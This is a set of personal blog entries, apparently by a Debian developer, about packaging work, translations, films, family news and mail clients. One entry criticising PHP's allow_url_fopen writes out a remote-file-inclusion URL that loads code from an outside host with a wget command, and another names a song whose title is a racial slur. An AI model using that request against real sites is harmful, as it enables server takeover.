He died yesterday evening. I adored him in his playes, and always looked forward to interviews with him. I guess I actually have to watch Luther, the latest work staring him...
Thanks, Omnic, this was what I really needed. A nice sweet game with no complicated rules and all I need to do is ... nothing! Great! /me cheers (oops, penalty) I'm looking forward to my first fight.
I had to do my own contribution to the latest geek fad. Try it yerself, be creative, let your mind flow. Join teh fun!
Dear Algernon, I can just say one thing: Yummie Yamm, feeling hungry already... Still what I said holds: Power should be given to those who don't want it, because those are the ones who less likely will misuse it.
Dear Steve, thanks for that great diary entry. It made me feel like in the good ol' days on my dear c64. The times when I started to insert hex codes in some editor (although they had parity bytes, too) from some magazine to see the latest sweet games. The times when I read text like that directly without having to insert it in bvi like nowadays. Boy, it is strange how easily you lose the touch when you don't need it on an almost daily basis for your assembler work...
I always adored clawfinger. They simply rock. And their lyrics are great, too. Some people even told me (long ago) that I look like Zak Tell. Nigger was their first big hit and it is still true.
Why do I write this now? Because some recent happenings made me remind one of their songs again that do fit the situation quite well: "Power to the one who doesn't want it". Sorry, Algernon, I can't do other but vote you for best fit for the DPL job.
Don't ask me if you don't want accurate translations...
Dear Branden!
You wanted to discuss it public, so I follow your advice. I thought you wanted to discuss it seriously, but I was wrong. I thought you were longing for accurate translations of your platform, but you seem to were longing for an interpretation of what you might have meant but not written. You showed me two people that don't see "evangelize" as religious. And you showed me two people that do consider the German translation into "missionieren" as something religios (but one saw it not too unfitting here, too). And you showed me that you didn't want to have discussed it seriously but want to have me mobbed.
I am quite confident that it isn't too hard to find native english speakers who do see the origin of the english word evangelize. And I do know that missionieren is used quite regularly in the German Linux community without any religios things in mind. You don't buy that reason, fine. But the next time when you want to have something translated don't come to me if you are not longing for an accurate translation but for an interpretation that might fit your needs....
The Fallen
Given up, on something, perhaps on life, on
themselves, on society, on a project... allowed
failure to overwhelm their senses and allowed
apathy to sink in to dull the pain.
I never thought that one's current mood could be catched that closely by a test, I am really petrified....
Today my grandma died. I know that her almost 92 years were quite much and that it got harder for her from week to week. Fortunately for her from what I've heard yet she didn't have much ache and it happened quite fast. My father came in shortly before and told me that she is to be dying, that he talked to her in the morning but doesn't recognize her anymore and that the nurses sent him off (she was at home at least). An hour later he called and told us that she died now....
Like said, she was quite old already. Still, it hurts when you lose some of your own.... I am not sure what I will do in the next time. Work harder to fight the pain, be more depressed (More? Hey, you can't get more depressed!) and lose grip, or something completely different.... Only time can tell.
Only Total Geek, Quilting, working on metakit update
While I had to sit in our server center because of an air condition breakage I found the time to finally do the geek test that Amaya mentioned lately again. Finished with 28.40237% - Total Geek. Interesting.
Helped my wife with her latest quilting. It will be for the 60th birthday of her aunt. Did help her with ironing the different pieces so she can concentrate on sawing the pieces together. We will put a picture online when its finished.
This is the reason why we are driving to Bonn in April. 7th to 14th namely. I don't know about our schedule and what our family has planed so I can't tell yet when I will have the time for meeting for keysigning, sorry.
Started on an update for metakit because of the new upstream release. This update Closes: #218240, #210635 hopefully. Having some small problems with respect to the libtool handling of -rpath and -release but I hope I can resolve that soon. I guess David N. Welton will appreciate this effort, he offered to do an NMU but doesn't seem to have found the time yet to actually do address both of them. :)
Yes, I know I will be flamed back, but php sucks. At least the default setting of "allow_url_fopen = On" sucks big time. Sometimes you must give users the permission to use their own php scripts. Sometimes they will do silly things like "include ("$Content.php")" and think it is a good thing for building a CMS. Eventually some script kiddies will find it out and use "foo.php?Content=http://www.campoeng.org/x.txt?&cmd=wget" and the like. And if you don't notice some dal.net#mandar inhabitants will come along and use their eggdrop on your host... Sometimes I really think maxx is correct with the akronym People Have Problems.
Have been to cinema again yesterday: This time it has been "The Rundown / Welcome to the Jungle" and Something's Gotta Give". While the former was good action with Seann William Scott in his best role: a silly annoying guy, the latter was a quite funny and intersting story. Diane Keaton was really a hit. Keanu Reeves was a little bit flat, but he is nice looking, shouldn't that be enough?
To Shape Teh Future! Wesnoth 0.6.99.5 is out. Like you can see in that announcement (and in #238191) it is a needed update. I have already done an update for backports.org, I have contacted nobse already to have them there, he said he will upload it in the evening (which should happen within the next 8 hours or such, depending on how he defines evening :)). In the meantime you can grab them from wesnoth.debian.net.
If you are wondering about the version that is running there and why I haven't updated it yet: It is there on intention. So you have a meeting place if you want to stick with the version in testing. If you want to play the version in unstable be redirected to meet at devsrv.wesnoth.org. I will update the server version on wesnoth.debian.net as soon as a new version hit testing.
Played a little with my blog, its design fits now into the rest of my website. I will work a little bit more with it so it works well with the WML design of the rest of my page which should make design changes easy for me in the future. I hope I can straighten it out and start working on my website again...
If you are using the monkeys.com blacklist on your mailservers you should have noticed a vast reduction in mail receiving. I wasn't aware that my mail did run through such a blacklist, unfortunately it was. Otherwise I would have informed my mailadmin earlier about that they "were shut down and discontinued on September 23rd, 2003". This sunday they have turned the discontinued list to return true for every entry like happend on other discontinued lists already and thus all mails were blocked unfortunately.
If you tried to reach me in the last day please consider sending your mail again. I have checked the logfiles and aproximately 80 mails or such were blocked. In whole it were 113 mails but that included already bounced mails with empty from and mails to my Message-Id: strings, which would have bounced anyway, and some other strange sending parts.
Like Adam Kessel wrote in a recent blog entry blosxom can't put things into multiple categories. This is unfortunate but true. But from reading the plugin documentation it should be fairly easy to do it with the entries subroutine and symlinks.
I have thought about it myself already for some time. My thought so far was that it needs a main category to which an entry belongs (in which it gets displayed when you have the root feed), and that I will choose the rest on the timestamp of the symlink, if the plain file isn't below the current directory. I guess this is the thing that I needed to actually start writing it. Stay tuned...
mutt is getting annoying. Still isn't able to be used properly as an imap client, and the gpg handling is also far from optimal. (Ever tried with two keys with different passphrase and had to guess which one to use when decrypting a mail? Why isn't mutt able to display which keyid it wants the passphrase for? Or on sending a message when quering which key to sign the mail it displayes all the public keys in the ring...)
So what are the options? For I am not an emacs users gnus is a no-option. I have heard the latest hype about elmo and etpan. While the former is already packaged it has a major drawback: PGP support is only on the wanna-have list, not on the general todo list, so I have no idea when it will be added. So it ruled out itself for the time being, too. etpan on the other hand isn't packaged yet. It has a debian subdirectory in CVS though, but that is aged like hell on the other hand (not a real problem, I would roll my own debian directory anyway). Just found out that there is already an etpan-ng directory in CVS. One thing that gets me interested is that they are planing to add perl binding, which can be really helpful. Lets see.
Building on my own machine again, DPL vote 2004, Wir sind Helden
Like I said before, I now have some space left on my notebook harddisk again. I took this chance and installed sbuild. Quite interesting thing. Played around a little bit, got annoyed by the disclaimer in /etc/sbuild.conf (why the heck is it lying around in /etc when one isn't allowed to edit it??!), but built the first package with it now. (Or something like that... sbuild wasn't able to find/install one of the build depends although I even have installed it by hand. Did a gochroot and dpkg-buildpackage on my own.) elvis is now up to date again (sponsored package, RC-bug closed) and I also used dpkg-sig this time. Nice thing, too, although the manual page speaks of "sign-as gives the name of the signature (usually builder for builder of the deb, ...)." and nowhere to find out what that "..." could mean.
Another year, another Debian Project Leader vote. This year I thought it would be a good idea to translate the platforms into German, too. Finished it and the translations are now online. I just haven't translated the platform of algernon yet. I am afraid that some tama will sit on me if I do....
Though I think it's kinda interested that some people seem to a) only have translated Branden's platform but not the others — and b) not even commited them to the webwml tree. I personally consider this as somewhat biased and something that shouldn't happen... If you are the author of one of the translations please consider adding it to the webwml cvs tree and also translate the other platforms, in the sense of fairness.
From my first week not hanging around in the various #debian.de IRC channels (or others, fwiw) I can say that it gives me quite some time for other work. I'm still not really convinced that it is a good thing because I know that I helped quite some people, but if that help isn't appreciated it is quite frustrating...
Finally bought a new CD again. Although it isn't that new anymore but it was rather cheap: 10,- € instead of the usual 18,- € nowadays. It is "Die Reklamation" from "Wir sind Helden", a great german band. A remix of their hitsingle "Guten Tag" can be downloaded from their homepage, too. With this in mind: "Guten Tag, guten Tag, ich will mein Leben zurück...".
It does hurt when you get backstabbed. But it makes you think about the things you do. The more you do the more people will dislike what you do. So I took it as a chance to reduce my activities and will concentrate on my main duties instead of trying to help people that doesn't seem to appreciate my help anyway. I guess in the end I will end up with lots more of time for myself, hopefully.
Encountered my first serious hardware problem this weekend. First my screen session broke away, afterwards I was faced with kernel oops over and over again. You lose grip with the world when it happens at the same like the above... Tried to rsync my stuff off the disk onto a different host, but the kernel oops were faster than the sync started. Finally thought about taking out one ram module and finished syncing off and installing memtest86+. The new memory module seems to have serious problems, am back down to 64M of memory again :-/. Guess I have to send it back.
But that made me finally repartition my harddisk. Having quite some space left and I guess I will upgrade to unstable again to do package builds on my own machine. Will ease the testing of them and similar....
Not much done recently. Sorry, pals - I'm not in the mood for anything currently. I am not sure if it matters at all. It's a bit depressing when you only find bugs that are already solved...
Maybe just one thing: We need to start addressing debconf5 soon or it won't happen. I will send a sum up of so far discussed things again to the debian-at list to start brainstorming again. At least I was told that IBM is willing to sponsor the event, so the first steps are already taken. We just still don't know the date yet because we don't know yet when LinuxTag 2005 will happen. Please don't flood my mailbox with inquiries, rather address them to the debian-at list.
Have been to cinema again. First film this time has been "Shanghai Knights". If you like Jackie Chan you will definitely like this film. Yes, it is a sequel to Shanghai Noon".
Second film has been "Honey". The story was quite plain, nothing unexpected, but the dance scenes and the music made up for that.
Don't you hate that, too? You have a package which is sitting in the pool for quite some time now, already made it to testing, and then you think you can do an update and take the translations that came in in the meantime, and right the next day someone sends in another translation... I wonder if there are translators out there who like to get maintainers annoyed...
Yesterday there was a Buffy Night over here. They played four episodes, entry was free, you just got to consume at least for 5 € (you got to pay for a voucher). The fourth episode was of course "Once more with a feeling" (also known as the musical episode), as highlight of the evening. Haven't seen it before unfortunately, but it was really great. Reminded me why I liked Spike so much and am looking forward to the fifth season of Angel in which Spike is said to appear again. Can hardly wait for it, over here they are just at season 3 of Angel....
wesnoth 0.6.99.4 on backports.org, three films watched yesterday
At the weekend I've uploaded the update of wesnoth that Isaac did. Fumbled once with the .changes file (was unfamilar with sbuild), tried to fix it, fumbled a second time but still made it in time for the dinstall run. I also prepared an update for backports.org so people running woody can use it, too. wesnoth.debian.net does both have these packages available via http now and is running the 0.6.99.4 version of the server on the default port. I hope 0.6.99.4 will hit testing this time so testing have a networked playable version, too. And I plan to stick to the version we have in testing for wesnoth.debian.net because devsrv.wesnoth.org does run the latest devel release anyway.
Tried to get into translation of wesnoth. Harder than I guessed. They don't use gettext (yet), and their own tool for the translation isn't able to check for fuzzy strings, nor does it squeeze multiple matching strings together. I guess I have to do my own script to work around that.
Have been to cinema yesterday again. This time it was three films: First "The School of Rock". Was quite funny and especially intersting to see what kind of music they were using for the film.
Next has been "Paycheck". Terrific. Both the story and the action caught me; no wonder, directed by John Woo. If you haven't yet I would suggest you give it a try.
The third film has been "Torque". About some biker gangs. Somewhat nice scenes though nothing stunning, to be honest....
Wiggy noticed yesterday that the dsa-long.rdf files were broken: an empty entry showed up on planet.debian.net. While looking into this I noticed a bigger problem: HTML tags weren't addressed at all. So I worked on fixing it and finally got it working - you can see links in your dsa-long.lang.rdf files now!
Discovered another problem in the parsing today with \ at the end of lines (line concatenation). Because it isn't parsed through wml it got displayed in the final file. Fixed too.
Some people addressed me after my first release of debtags. Marco suggested me to add support for #175356 style notation (simply # followed by 4 to 6 numbers) - is in now (and btw., I could need help with that bug ;). Someone else asked me why I don't use debpackagetag. The reason is quite simple: It doesn't fulfil my needs (short tags) and its license isn't DFSG free. After all, it doesn't have any license at all... Somewhat unacceptable for something for Debian, don't you agree?
Like I mentioned in my first blog entry that I thought about a debtags plugin for blosxom - and now it is finished. In fact this entry does use it already. Download debtags to your blosxom plugin directory and you are able to use <debpkg packagename> and <debbug (bugnumber|packagename|maintaineraddress)> (or similar - it expands to a link to http://packages.debian.org/something). I hope you like it. If you have suggestions for additional tags feel free to send me an email.
Somehow it seems having a blog makes you more productive than less. After all you try to have something to write about, at least to me it is a bit motivating.
wesnoth.debian.net is up and running. With many thanks to Ben Armstrong we have working woody packages of the latest release 0.6.99.3. I have mirrored his packages on the wesnoth.debian.net page, and the very same host is running the wesnoth-server package already, so you can play there, if you like.
Yes, I've won! Like discussed in my last blog entry I've taken part yesterday at the bingo show here in austria. And I've won over the other four candidates. Wasn't really that hard, the questions are never really hard, you just have to be faster than the others with the bumper to be able to answer. I've won a stay for three days/two nights in a hotel in Salzburg with breakfast. Not that much but I it will be relaxing. And a chance to meet weasel IRL again. I thank everyone who crossed their fingers!
Like I promised my wife we got a new cat because I won. Actually we got two new which sum up to six now, actually. They are still very shy of course, will see how long it takes for them to get warm with us.... No pictures yet but they will be put onto the website of my wife eventually. I guess I will add a hint to my blog then, too.
Recently finished reading "The Wolves in the Wall" by Neil Gaiman. Though it is not very long and looks more like a children book it is really cool. I guess everyone who read "Coraline" or "Neverwhere" will like it, too.
I guess everyone has heared about the latest funny news: Part of the Windows sources leaked somewhere and is now in the wild. How funny that part is how severe the problem it holds: I can just hope that no reasonable Free Software developer (especially no Debian Developer) looks into the sources. I can just estimate what the Microsoft laywers might think of when they find routings similar or seemingly inspired by theirs....
People, please don't expose yourself to this danger.
I am a bit nervous. Today I will be candidate in Austrians Bingo show. I registered about one and a half year ago for it and got the call about three weeks ago. I hope I will win, the prize would be a trip to a place not yet known. We will see...
Quite some people wonder who this Rhonda in IRC is. Yes, she is part of me. Initially I choose it because the host on which my Alfie client was running had a network problem and I wanted to avoid a nick collision when I managed to get it back up, but now I feel quite comfortable with it. There is more behind it with choosing a female nick, but that isn't something that I want to exposure right ahead to partly totally strangers. After all, everyone can read this :)
Happy Valentines Day, pals! If I would find the time I would love to diddle some ascii flower that I could include in here (I hope to add some arts every now and then to my blog), but I'm a little in a hurry now, sorry... And no, I won't put the outworn oneline rose in, under no circumstances. That's not original at all :)
Hi there. This is my first blogtest with blosxom. I guess it is really handy and I think I'll write some plugin for it similar to debpackagetag but for much more things: bugnummers and mailinglist archives jump to my mind as first thing, but I'm open for suggestions.
I'd like to take this as a possibility to say that I am currently at quite high load: dwn-trans needs some further attention like a homepage with best practices and such; I have some things in the queue for the regular website translation, ... And then there is this strange thing called Real Life. It is a really pain that food is expensive.
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